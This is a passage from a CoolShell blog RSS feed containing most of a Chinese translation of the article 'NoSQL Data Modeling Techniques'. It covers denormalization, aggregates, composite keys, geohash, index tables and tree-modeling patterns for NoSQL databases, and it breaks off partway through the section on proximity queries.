alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7425.html\">rsync 的核心算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7425.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>244</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>NoSQL 数据建模技术</title>\n\t\t<link>https://coolshell.cn/articles/7270.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7270.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 15 May 2012 00:22:13 +0000</pubDate>\n\t\t\t\t<category><![CDATA[数据库]]></category>\n\t\t<category><![CDATA[Database]]></category>\n\t\t<category><![CDATA[NoSQL]]></category>\n\t\t<category><![CDATA[SQL]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7270</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>全文译自墙外文章“NoSQL Data Modeling Techniques”，译得不好，还请见谅。这篇文章看完之后，你可能会对NoSQL的数据结构会有些感觉...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7270.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7270.html\">NoSQL 数据建模技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>全文译自墙外文章“<a href=\"http://highlyscalable.wordpress.com/2012/03/01/nosql-data-modeling-techniques/\" target=\"_blank\">NoSQL Data Modeling Techniques</a>”，译得不好，还请见谅。这篇文章看完之后，你可能会对NoSQL的数据结构会有些感觉。我的感觉是，关系型数据库想把一致性，完整性，索引，CRUD都干好，NoSQL只干某一种事，但是牺牲了很多别的东西。总体来说，我觉得NoSQL更适合做Cache。下面是正文——</p>\n<p>NoSQL 数据库经常被用作很多非功能性的地方，如，扩展性，性能和一致性的地方。这些NoSQL的特性在理论和实践中都正在被大众广泛地研究着，研究的热点正是那些和性能分布式相关的非功能性的东西，我们都知道 <a href=\"http://en.wikipedia.org/wiki/CAP_theorem\">CAP 理论</a>被很好地应用于了 NoSQL 系统中（陈皓注：CAP即，一致性(Consistency)， 可用性(Availability)， 分区容忍性(Partition tolerance)，在分布式系统中，这三个要素最多只能同时实现两个，而NoSQL一般放弃的是一致性）。但在另一方面，NoSQL的数据建模技术却因为缺乏像关系型数据库那样的基础理论没有被世人很好地研究。这篇文章从数据建模方面对NoSQL家族进行了比较，并讨论几个常见的数据建模技术。</p>\n<p>要开始讨论数据建模技术，我们不得不或多或少地先系统地看一下NoSQL数据模型的成长的趋势，以此我们可以了解一些他们内在的联系。下图是NoSQL家族的进化图，我们可以看到这样的进化：Key-Value时代，BigTable时代，Document时代，全文搜索时代，和Graph数据库时代：（陈皓注：注意图中SQL说的那句话，NoSQL再这样发展下去就是SQL了，哈哈。）</p>\n<div id=\"attachment_310\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/overview2.png\"><img decoding=\"async\" loading=\"lazy\" title=\"overview\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/overview2.png?w=594&amp;h=699\" alt=\"\" width=\"594\" height=\"699\" /><br />\n</a>NoSQL Data Models</p>\n</div>\n<p>首先，我们需要注意的是SQL和关系型数据模型已存在了很长的时间，这种面向用户的自然性意味着：</p>\n<p><span id=\"more-7270\"></span></p>\n<ul>\n<li>最终用户一般更感兴趣于数据的聚合显示，而不是分离的数据，这主要通过SQL来完成。</li>\n<li>我们无法通过人手工控制数据的并发性，完整性，一致性，或是数据类型校验这些东西的。这就是为什么SQL需要在事务，二维表结构（schema）和外表联合上做很多事。</li>\n</ul>\n<p>另一方面，SQL可以让软件应用程序在很多情况下不需要关心数据库的数据聚合，和数据完整性和有效性进行控制。而如果我们去除了数据一致性，完整性这些东西，会对性能和分布存储有着重的帮助。正因为如此，我们才有数据模型的进化：</p>\n<ul>\n<li><strong>Key-Value 键值对存储</strong>是非常简单而强大的。下面的很多技术基本上都是基于这个技术开始发展的。但是，Key-Value有一个非常致命的问题，那就是如果我们需要查找一段范围内的key。（陈皓注：学过hash-table数据结构的人都应该知道，hash-table是非序列容器，其并不像数组，链接，队列这些有序容器，我们可以控制数据存储的顺序）。于是，有序键值 （Ordered Key-Value） 数据模型被设计出来解决这一限制，来从根本上提高数据集的问题。</li>\n</ul>\n<ul>\n<li><strong>Ordered Key-Value 有序键值</strong>模型也非常强大，但是，其也没有对Value提供某种数据模型。通常来说，Value的模型可以由应用负责解析和存取。这种很不方便，于是出现了 BigTable类型的数据库，这个数据模型其实就是map里有map，map里再套map，一层一层套下去，也就是层层嵌套的key-value（value里又是一个key-value），这种数据库的Value主要通过“列族”（column families），列，和时间戳来控制版本。（陈皓注：关于时间戳来对数据的版本控制主要是解决数据存储并发问题，也就是所谓的乐观锁，详见《<a title=\"多版本并发控制(MVCC)在分布式系统中的应用\" href=\"https://coolshell.cn/articles/6790.html\" target=\"_blank\">多版本并发控制(MVCC)在分布式系统中的应用</a>》）</li>\n</ul>\n<ul>\n<li><strong>Document databases 文档数据库</strong> 改进了 BigTable 模型，并提供了两个有意义的改善。第一个是允许Value中有主观的模式（scheme），而不是map套map。第二个是索引。 <strong>Full Text Search Engines 全文搜索引擎</strong>可以被看作是文档数据库的一个变种，他们可以提供灵活的可变的数据模式（scheme）以及自动索引。他们之间的不同点主要是，文档数据库用字段名做索引，而全文搜索引擎用字段值做索引。</li>\n</ul>\n<ul>\n<li><strong>Graph data models 图式数据库</strong> 可以被认为是这个进化过程中从 Ordered Key-Value 数据库发展过来的一个分支。图式数据库允许构建议图结构的数据模型。它和文档数据库有关系的原因是，它的很多实现允许value可以是一个map或是一个document。</li>\n</ul>\n<h4> NoSQL 数据模型摘要</h4>\n<p>本文剩下的章节将向你介绍数据建模的技术实现和相关模式。但是，在介绍这些技术之前，先来一段序言：</p>\n<ul>\n<li>NoSQL 数据模型设计一般从业务应用的具体数据查询入手，而不是数据间的关系：</li>\n<ul>\n<li>关系型的数据模型基本上是分析数据间的结构和关系。其设计理念是： ”<strong>What answers do I have?”</strong><em> </em></li>\n<li>NoSQL 数据模型基本上是从应用对数据的存取方式入手，如：我需要支持某种数据查询。其设计理念是<strong> ”What questions do I have?”</strong></li>\n</ul>\n</ul>\n<ul>\n<li>NoSQL 数据模型设计比关系型数据库需要对数据结构和算法的更深的了解。在这篇文章中我会和大家说那些尽人皆知的数据结构，这些数据结构并不只是被NoSQL使用，但是对于NoSQL的数据模型却非常有帮助。</li>\n</ul>\n<ul>\n<li>数据冗余和反规格化是一等公民。</li>\n</ul>\n<ul>\n<li>关系型数据库对于处理层级数据和图式数据非常的不方便。NoSQL用来解决图式数据明显是一个非常好的解决方案，几乎所有的NoSQL数据库可以很强地解决此类问题。这就是为什么这篇文章专门拿出一章来说明层级数据模型。</li>\n</ul>\n<div>下面是NoSQL的分类表，也是我用来写这篇文章时做实践的产品：</div>\n<div>\n<ul>\n<li>Key-Value 存储: Oracle Coherence, Redis, Kyoto Cabinet</li>\n<li>类BigTable存储: Apache HBase, Apache Cassandra</li>\n<li>文档数据库: MongoDB, CouchDB</li>\n<li>全文索引: Apache Lucene, Apache Solr</li>\n<li>图数据库: neo4j, FlockDB</li>\n</ul>\n</div>\n<h4>概念技术 Conceptual Techniques</h4>\n<p>这一节主要介绍NoSQL数据模型的基本原则。</p>\n<h5>(1) 反规格化 Denormalization</h5>\n<p>反规格化 Denormalization 可以被认为是把相同的数据拷贝到不同的文档或是表中，这样就可以简化和优化查询，或是正好适合用户的某中特别的数据模型。这篇文章中所说的绝大多数技术都或多或少地导向了这一技术。</p>\n<p>总体来说，反规格化需要权衡下面这些东西：</p>\n<ul>\n<li><strong><em>查询数据量 /查询IO </em></strong> VS  <strong><em>总数据量</em></strong>。使用反规格化，一方面可以把一条查询语句所需要的所有数据组合起来放到一个地方存储。这意味着，其它不同不同查询所需要的相同的数据，需要放在别不同的地方。因此，这产生了很多冗余的数据，从而导致了数据量的增大。</li>\n</ul>\n<ul>\n<li><strong><em>处理复杂度 </em></strong> VS <strong><em>总数据量</em></strong>. 在符合范式的数据模式上进行表连接的查询，很显然会增加了查询处理的复杂度，尤其对于分布式系统来说更是。反规格化的数据模型允许我们以方便查询的方式来存构造数据结构以简化查询复杂度。</li>\n</ul>\n<p><strong>适用性</strong>: Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。</p>\n<h5>(2) 聚合 Aggregates</h5>\n<p>所有类型的NoSQL数据库都会提供灵活的Schema（数据结构，对数据格式的限制）：</p>\n<ul>\n<li>Key-Value Stores 和 Graph Databases 基本上来说不会Value的形式，所以Value可以是任意格式。这样一来，这使得我们可以任意组合一个业务实体的keys。比如，我们有一个用户帐号的业务实体，其可以被如下这些key组合起来： <em>UserID_name, UserID_email, UserID_messages</em> 等等。如果一个用户没有email或message，那么相应也不会有这样的记录。</li>\n</ul>\n<ul>\n<li>BigTable 模型通过列集合来支持灵活的Schema，我们称之为列族（<em>column family</em>）。BigTable还可以在同一记录上出现不同的版本（通过时间戳）。</li>\n</ul>\n<ul>\n<li>Document databases 文档数据库是一种层级式的“去Schema”的存储，虽然有些这样的数据库允许检验需要保存的数据是否满足某种Schema。</li>\n</ul>\n<p>灵活的Schema允许你可以用一种嵌套式的内部数据方式来存储一组有关联的业务实体（陈皓注：类似于JSON这样的数据封装格式）。这样可以为我们带来两个好处。</p>\n<ul>\n<li>最小化“一对多”关系——可以通过嵌套式的方式来存储实体，这样可以少一些表联结。</li>\n</ul>\n<ul>\n<li>可以让内部技术上的数据存储更接近于业务实体，特别是那种混合式的业务实体。可能存于一个文档集或是一张表中。</li>\n</ul>\n<div>下图示意了这两种好处。图中描给了电子商务中的商品模型（陈皓注：我记得我在“<a title=\"挑战无处不在\" href=\"https://coolshell.cn/articles/7048.html\" target=\"_blank\">挑战无处不在</a>”一文中说到过电商中产品分类数据库设计的挑战）</div>\n<div>\n<ul>\n<li>首先，所有的商品Product都会有一个ID，Price 和 Description。</li>\n</ul>\n<ul>\n<li>然后，我们可以知道不同的类型的商品会有不同的属性。比如，作者是书的属性，长度是牛仔裤的属性。其些属性可能是“一对多”或是“多对多”的关系，如：唱片中的曲目。</li>\n</ul>\n<ul>\n<li>接下来，我们知道，某些业务实体不可能使用固定的类型。如：牛仔裤的属性并不是所有的牌子都有的，而且，有些名牌还会搞非常特别的属性。</li>\n</ul>\n<p>对于关系型数据库来说，要设计这样的数据模型并不简单，而且设计出来的绝对离优雅很远很远。而我们NoSQL中灵活的Schema允许你使用一个聚合 Aggregate (product) 可以建出所有不同种类的商品和他们的不同的属性：</p>\n</div>\n<div>\n<div id=\"attachment_404\">\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/soft-schema2.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"soft-schema\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/soft-schema2.png?w=594&amp;h=439\" alt=\"\" width=\"594\" height=\"439\" /></a></p>\n<p style=\"text-align: center;\">Entity Aggregation</p>\n</div>\n</div>\n<div>\n<p>上图中我们可以比较关系型数据库和NoSQL的差别。<strong>但是我们可以看到在数据更新上，非规格化的数据存储在性能和一致性上会有很大的影响，这就是我们需要重点注意和不得不牺牲的地方</strong>。</p>\n</div>\n<p><strong>适用性</strong>: Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。</p>\n<h5>(3) 应用层联结 Application Side Joins</h5>\n<p>表联结基本上不被NoSQL支持。正如我们前面所说的，NoSQL是“面向问题”而不是“面向答案”的，不支持表联结就是“面向问题”的后果。表的联结是在设计时被构造出来的，而不是在执行时建造出来的。所以，表联结在运行时是有很大开销的（陈皓注：搞过SQL表联结的都知道笛卡尔积是什么东西，大可以在参看以前酷壳的“<a title=\"图解SQL的Join\" href=\"https://coolshell.cn/articles/3463.html\" target=\"_blank\">图解数据库表Joins</a>”），但是在使用了 Denormalization 和 Aggregates 技术后，我们基本不用进行表联结，如：你们使用嵌套式的数据实体。当然，如果你需要联结数据，你需要在应用层完成这个事。下面是几个主要的Use Case：</p>\n<ul>\n<li>多对多的数据实体关系——经常需要被连接或联结。</li>\n</ul>\n<ul>\n<li>聚合 Aggregates 并不适用于数据字段经常被改变的情况。对此，我们需要把那些经常被改变的字段分到另外的表中，而在查询时我们需要联结数据。例如，我们有个Message系统可以有一个User实体，其包括了一个内嵌的Message实体。但是，如果用户不断在附加 message，那么，最好把message拆分到另一个独立的实体，但在查询时联结这User和Message这两个实体。如下图：</li>\n</ul>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/aggregates-joins.png\"><img decoding=\"async\" class=\"aligncenter\" title=\"aggregates-joins\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/aggregates-joins.png?w=594\" alt=\"\" /></a></p>\n<p><strong>适用性</strong>: Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库， Graph Databases 图数据库。</p>\n<h4>通用建模技术 General Modeling Techniques</h4>\n<p>在本书中，我们将讨论NoSQL中各种不同的通用的数据建模技术。</p>\n<h5>(4) 原子聚合 Atomic Aggregates</h5>\n<p>很多NoSQL的数据库（并不是所有）在事务处理上都是短板。在某些情况下，他们可以通过分布式锁技术或是<a title=\"Implementation of MVCC Transactions for Key-Value Stores\" href=\"http://highlyscalable.wordpress.com/2012/01/07/mvcc-transactions-key-value/\" target=\"_blank\">应用层管理的MVCC技术</a>来实现其事务性（陈皓注：可参看本站的“<a title=\"多版本并发控制(MVCC)在分布式系统中的应用\" href=\"https://coolshell.cn/articles/6790.html\">多版本并发控制(MVCC)在分布式系统中的应用</a>”）但是，通常来说只能使用聚合Aggregates技术来保证一些ACID原则。</p>\n<p>这就是为什么我们的关系型数据库需要有强大的事务处理机制——因为关系型数据库的数据是被规格化存放在了不同的地方。所以，Aggregates聚合允许我们把一个业务实体存成一个文档、存成一行，存成一个key-value，这样就可以原子式的更新了：</p>\n<div id=\"attachment_409\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/atomic-aggregate1.png\"><img decoding=\"async\" class=\"aligncenter\" title=\"atomic-aggregate\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/atomic-aggregate1.png?w=594\" alt=\"\" /><br />\n</a>Atomic Aggregates</p>\n</div>\n<p>当然，原子聚合 Atomic Aggregates 这种数据模型并不能实现完全意义上的事务处理，但是如果支持原子性，锁，或 test-and-set 指令，那么， Atomic Aggregates 是可以适用的。</p>\n<p><strong><strong>适用性</strong>: </strong>Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。</p>\n<h5>(5) 可枚举键 Enumerable Keys</h5>\n<p>也许，对于无顺序的Key-Value最大的好处是业务实体可以被容易地hash以分区在多个服务器上。而排序了的key会把事情搞复杂，但是有些时候，一个应用能从排序key中获得很多好处，就算是数据库本身不提供这个功能。让我们来思考下email消息的数据模型：</p>\n<ol>\n<li>一些NoSQL的数据库提供原子计数器以允许生一些连续的ID。在这种情况下，我们可以使用 <em>userID_messageID</em> 来做为一个组合key。如果我们知道最新的message ID，就可以知道前一个message，也可能知道再前面和后面的Message。</li>\n<li>Messages可以被打包。比如，每天的邮件包。这样，我们就可以对邮件按指定的时间段来遍历。</li>\n</ol>\n<p><strong><strong><strong>适用性</strong>: </strong></strong>Key-Value Store 键值对数据库<strong>。</strong></p>\n<h5>(6) 降维 Dimensionality Reduction</h5>\n<p>Dimensionality Reduction 降维是一种技术可以允许把一个多维的数据映射成一个Key-Value或是其它非多给的数据模型。</p>\n<p>传统的地理位置信息系统使用一些如“四分树<a href=\"http://en.wikipedia.org/wiki/Quadtree\" target=\"_blank\">QuadTree</a>” 或 “<a href=\"http://en.wikipedia.org/wiki/R-tree\" target=\"_blank\">R-Tree</a>” 来做地理位置索引。这些数据结构的内容需要被在适当的位置更新，并且，如果数据量很大的话，操作成本会很高。另一个方法是我们可以遍历一个二维的数据结构并把其扁平化成一个列表。一个众所周知的例子是<a href=\"http://en.wikipedia.org/wiki/Geohash\" target=\"_blank\">Geohash</a>（地理哈希）。一个Geohash使用“之字形”的路线扫描一个2维的空间，而且遍历中的移动可以被简单地用0和1来表示其方向，然后在移动的过程中产生0/1串。下图展示了这一算法：（陈皓注：先把地图分成四份，经度为第一位，纬度为第二位，于是左边的经度是0，右边的是1，纬度也一样，上面是为1，下面的为0，这样，经纬度就可以组合成01，11，00，10这四个值，其标识了四块区域，我们可以如此不断的递归地对每个区域进行四分，然后可以得到一串1和0组成的字串，然后使用0-9，b-z 去掉（去掉a, i, l, o）这32个字母进行base32编码得到一个8个长度的编码，这就是Geohash的算法）</p>\n<div id=\"attachment_398\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/geohash-traversal1.png\"><img decoding=\"async\" title=\"geohash-traversal\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/geohash-traversal1.png?w=594\" alt=\"\" /><br />\n</a>Geohash Index</p>\n</div>\n<p>Geohash的最强大的功能是使用简单的位操作就可以知道两个区域间的距离，就像图中所示（陈皓：proximity框着的那两个，这个很像IP地址了）。Geohash把一个二维的坐标生生地变成了一个一维的数据模型，这就是降维技术。BigTable的降维技术参看到文章后面的 [6.1]。更多的关于Geohash和其它技术可以参看 [6.2] 和 [6.3]。</p>\n<p><strong><strong><strong>适用性</strong>:</strong></strong> Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。</p>\n<h5>(7) 索引表 Index Table</h5>\n<p>Index Table 索引表是一个非常直白的技术，其可以你在不支持索引的数据库中得到索引的好处。BigTable是这类最重要的数据库。这需要我们维护一个有相应存取模式的特别表。例如，我们有一个主表存着用户帐号，其可以被UserID存取。某查询需要查出某个城市里所有的用户，于是我们可以加入一张表，这张表用城市做主键，所有和这个城市相关的UserID是其Value，如下所示：</p>\n<div id=\"attachment_399\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/index-table.png\"><img decoding=\"async\" title=\"index-table\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/index-table.png?w=594\" alt=\"\" /><br />\n</a>Index Table Example</p>\n</div>\n<p>可见，城市索引表的需要和对主表用户表保持一致性，因此，主表的每一个更新可能需要对索引表进行更新，不然就是一个批处理更新。无论哪个方式，这都会损伤一些性能，因为需要保持一致性。</p>\n<p>Index Table 索引表可以被认为是关系型数据库中的视图的等价物。</p>\n<p><strong>适用性</strong>: BigTable 数据库。</p>\n<h5>(8) 键组合索引 Composite Key Index</h5>\n<p>Composite key 键组合是一个很常用的技术，对此，当我们的数据库支持键排序时能得到极大的好处。Composite key组合键的拼接成为第二排序字段可以让你构建出一种多维索引，这很像我们之前说过的 Dimensionality Reduction 降维技术。例如，我们需要存取用户统计。如果我们需要根据不同的地区来统计用户的分布情况，我们可以把Key设计成这样的格式 <em>(State:City:UserID)</em>，这样一来，就使得我们可以通过State到City来按组遍历用户，特别是我们的NoSQL数据库支持在key上按区查询（如：BigTable类的系统）：</p>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">SELECT Values WHERE state=&quot;CA:*&quot;\nSELECT Values WHERE city=&quot;CA:San Francisco*&quot;</pre>\n<div id=\"attachment_477\">\n<p style=\"text-align: center;\"><a href=\"http://highlyscalable.files.wordpress.com/2012/03/composite-key-index.png\"><img decoding=\"async\" title=\"composite-key-index\" src=\"http://highlyscalable.files.wordpress.com/2012/03/composite-key-index.png?w=594\" alt=\"\" /><br />\n</a>Composite Key Index</p>\n</div>\n<p><strong><strong>适用性</strong>: </strong>BigTable 数据库。</p>\n<h5>(9) 键组合聚合 Aggregation with Composite Keys</h5>\n<p>Composite keys  键组合技术并不仅仅可以用来做索引，同样可以用来区分不用的类型的数据以支持数据分组。考虑一个例子，我们有一个海量的日志数组，这个日志记录了互联网上的用户的访问来源。我们需要计算从某一网站过来的独立访客的数量，在关系型数据库中，我们可能需要下面这样的SQL查询语句：</p>\n<p><code data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">SELECT count(distinct(user_id)) FROM clicks GROUP BY site</code></p>\n<p>我们可以在NoSQL中建立如下的数据模型：</p>\n<div id=\"attachment_383\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/composite-key-collating1.png\"><img decoding=\"async\" title=\"composite-key-collating\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/composite-key-collating1.png?w=594\" alt=\"\" /><br />\n</a>Counting Unique Users using Composite Keys</p>\n</div>\n<p>这样，我们就可以把数据按UserID来排序，我们就可以很容易把同一个用户的数据（一个用户并不会产生太多的event）进行处理，去掉那些重复的站点（使用hash table或是别的什么）。另一个可选的技术是，我们可以对每一个用户建立一个数据实体，然后把其站点来源追加到这个数据实体中，当然，这样一来，数据的更新在性能相比之下会有一定损失。</p>\n<p><strong><strong>适用性</strong>:</strong> Ordered Key-Value Store 排序键值对数据库， BigTable风格的数据库。</p>\n<p><strong><br />\n</strong></p>\n<h5>(10) 反转搜索 Inverted Search – 直接聚合 Direct Aggregation</h5>\n<p>这个技术更多的是数据处理技术，而不是数据建模技术。尽管如此，这个技术还是会影响数据模型。这个技术最主要的想法是使用一个索引来找到满足某条件的数据，但是把数据聚合起需要使用全文搜索。还是让我们来说一个示例。还是用上面那个例子，我们有很多的日志，其中包括互联网用户和他们的访问来源。让我们假定每条记录都有一个UserID，还有用户的种类 (Men, Women, Bloggers, 等)，以及用户所在的城市，和访问过的站点。我们要干的事是，为每个用户种类找到满足某些条件（访问源，所在城市，等）的的独立用户。</p>\n<p>很明显，我们需要搜索那些满足条件的用户，如果我们使用反转搜索，这会让我们把这事干得很容易，如： <em>{Category -&gt; [user IDs]}</em> 或 <em>{Site -&gt; [user IDs]}</em>。使用这样的索引， 我们可以取两个或多个UserID要的交集或并集（这个事很容易干，而且可以干得很快，如果这些UserID是排好序的）。但是，我们要按用户种类来生成报表会变得有点麻烦，因为我们用语句可能会像下面这样</p>\n<p><code data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">SELECT count(distinct(user_id)) ... GROUP BY category</code></p>\n<p>但这样的SQL很没有效率，因为category数据太多了。为了应对这个问题，我们可以建立一个直接索引 <em>{UserID -&gt; [Categories]}</em> 然后我们用它来生成报表：</p>\n<div id=\"attachment_388\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/invert-direct1.png\"><img decoding=\"async\" loading=\"lazy\" title=\"invert-direct\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/invert-direct1.png?w=594&amp;h=438\" alt=\"\" width=\"594\" height=\"438\" /><br />\n</a>Counting Unique Users using Inverse and Direct Indexes</p>\n</div>\n<p>最后，我们需要明白，对每个UserID的随机查询是很没有效率的。我们可以通过批查询处理来解决这个问题。这意味着，对于一些用户集，我们可以进行预处理（不同的查询条件）。</p>\n<p><strong>适用性</strong>: Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。</p>\n<h4>层级式模型 Hierarchy Modeling Techniques</h4>\n<h5>(11) 树形聚合Tree Aggregation</h5>\n<p>树形或是任意的图（需反规格化）可以被直接打成一条记录或文档存放。</p>\n<ul>\n<li>当树形结构被一次性取出时这会非常有效率（如：我们需要展示一个blog的树形评论）</li>\n<li>搜索和任何存取这个实体都会存在问题。</li>\n<li>对于大多数NoSQL的实现来说，更新数据都是很不经济的（相比起独立结点来说）</li>\n</ul>\n<div id=\"attachment_381\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/tree-aggregation.png\"><img decoding=\"async\" title=\"tree-aggregation\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/tree-aggregation.png?w=594\" alt=\"\" /><br />\n</a>Tree Aggregation</p>\n</div>\n<p><strong>适用性</strong>: Key-Value 键值对数据库, Document Databases 文档数据库</p>\n<h5>(12) 邻接列表 Adjacency Lists</h5>\n<p>Adjacency Lists 邻接列表是一种图 &#8211; 每一个结点都是一个独立的记录，其包含了 所有的父结点或子结点。这样，我们就可以通过给定的父或子结点来进行搜索。当然，我们需要通过hop查询遍历图。这个技术在广度和深度查询，以及得到某个结点的子树上没有效率。</p>\n<p><strong>适用性</strong>: Key-Value 键值对数据库, Document Databases 文档数据库</p>\n<p><strong><br />\n</strong></p>\n<h5>(13) Materialized Paths</h5>\n<p>Materialized Paths 可以帮助避免递归遍历（如：树形结构）。这个技术也可以被认为是反规格化的一种变种。其想法是为每个结点加上父结点或子结点的标识属性，这样就可以不需要遍历就知道所有的后裔结点和祖先结点了：</p>\n<div id=\"attachment_372\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/materialized-paths2.png\"><img decoding=\"async\" title=\"materialized-paths\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/materialized-paths2.png?w=594\" alt=\"\" /><br />\n</a>Materialized Paths for eShop Category Hierarchy</p>\n</div>\n<p>这个技术对于全文搜索引擎来说非常有帮助，因为其可以允许把一个层级结构转成一个文档。上面的示图中我们可以看到所有的商品或<em>Men’s Shoes</em>下的子分类可以被一条很短的查询语句处理——只需要给定个分类名。</p>\n<p>Materialized Paths 可以存储一个ID的集合，或是一堆ID拼出的字符串。后者允许你通过一个正则表达式来搜索一个特定的分支路径。下图展示了这个技术（分支的路径包括了结点本身）：</p>\n<div id=\"attachment_377\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/materialized-paths-2.png\"><img decoding=\"async\" title=\"materialized-paths-2\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/materialized-paths-2.png?w=594\" alt=\"\" /><br />\n</a>Query Materialized Paths using RegExp</p>\n</div>\n<p><strong>适用性</strong>: Key-Value 键值对数据库, Document Databases 文档数据, Search Engines 搜索引擎</p>\n<h5>(14) 嵌套集 Nested Sets</h5>\n<p><a href=\"http://en.wikipedia.org/wiki/Nested_set_model\">Nested sets</a> 嵌套集是树形结构的标准技术。它被广泛地用在了关系性数据库中，它完全地适用于 Key-Value 键值对数据库 和 Document Databases 文档数据库。这个技术的想法是把叶子结点存储成一个数组，并通过使用索引的开始和结束来映射每一个非叶子结点到一个叶子结点集，就如下图所示一样：</p>\n<div id=\"attachment_360\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/nested-sets.png\"><img decoding=\"async\" title=\"nested-sets\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/nested-sets.png?w=594\" alt=\"\" /><br />\n</a>Modeling of eCommerce Catalog using Nested Sets</p>\n</div>\n<p>这样的数据结构对于immutable data不变的数据 有非常不错的效率，因为其点内存空间小，并且可以很快地找出所有的叶子结点而不需要树的遍历。尽管如此，在插入和更新上需要很高的性能成本，因为新的叶子结点需要大规模地更新索引。</p>\n<p><strong>适用性</strong>: Key-Value Stores 键值数据库, Document Databases 文档数据库</p>\n<h4>(15) 嵌套文档扁平化：有限的字段名 Nested Documents Flattening: Numbered Field Names</h4>\n<p>搜索引擎基本上来说和扁平文档一同工作，如：每一个文档是一个扁平的字段和值的例表。这种数据模型的用来把业务实体映射到一个文本文档上，如果你的业务实体有很复杂的内部结构，这可能会变得很有挑战。一个典型的挑战是把一个有层级的文档映映射出来。例如，文档中嵌套另一个文档。让我们看看下面的示例：</p>\n<div id=\"attachment_363\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-1.png\"><img decoding=\"async\" title=\"nested-documents-1\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-1.png?w=594\" alt=\"\" /><br />\n</a>Nested Documents Problem</p>\n</div>\n<p>上面的每一个业务实体代码一种简历。其包括了人名和一个技能列表。我把这个层级文档映射成一个文本文档，一种方法是创建 <em>Skill</em> 和 <em>Level</em> 字段。这个模型可以通过技术或是等级来搜索一个人，而上图标注的那样的组合查询则会失败。（陈皓注：因为分不清Excellent是否是Math还是Poetry上的）</p>\n<p>在引用中的 [4.6] 给出了一种解决方案。其为每个字段都标上数字 <em>Skill_i</em> 和 <em>Level_i</em>，这样就可以分开搜索每一个对（下图中使用了OR来遍历查找所有可能的字段）:</p>\n<div id=\"attachment_365\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-3.png\"><img decoding=\"async\" title=\"nested-documents-3\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-3.png?w=594\" alt=\"\" /><br />\n</a>Nested Document Modeling using Numbered Field Names</p>\n</div>\n<p>这样的方式根本没有扩展性，对于一些复杂的问题来说只会让代码复杂度和维护工作变大。</p>\n<p><strong>适用性</strong>: Search Engines 全文搜索</p>\n<h5>(16)嵌套文档扁平化：邻近查询 Nested Documents Flattening: Proximity Queries</h5>\n<p>在附录 [4.6]中给出了这个技术用来解决扁平层次文档。它用邻近的查询来限制可被查询的单词的范围。下图中，所有的技能和等级被放在一个字段中，叫 SkillAndLevel，查询中出现的 “Excellent” 和 “Poetry” 必需一个紧跟另一个：</p>\n<div 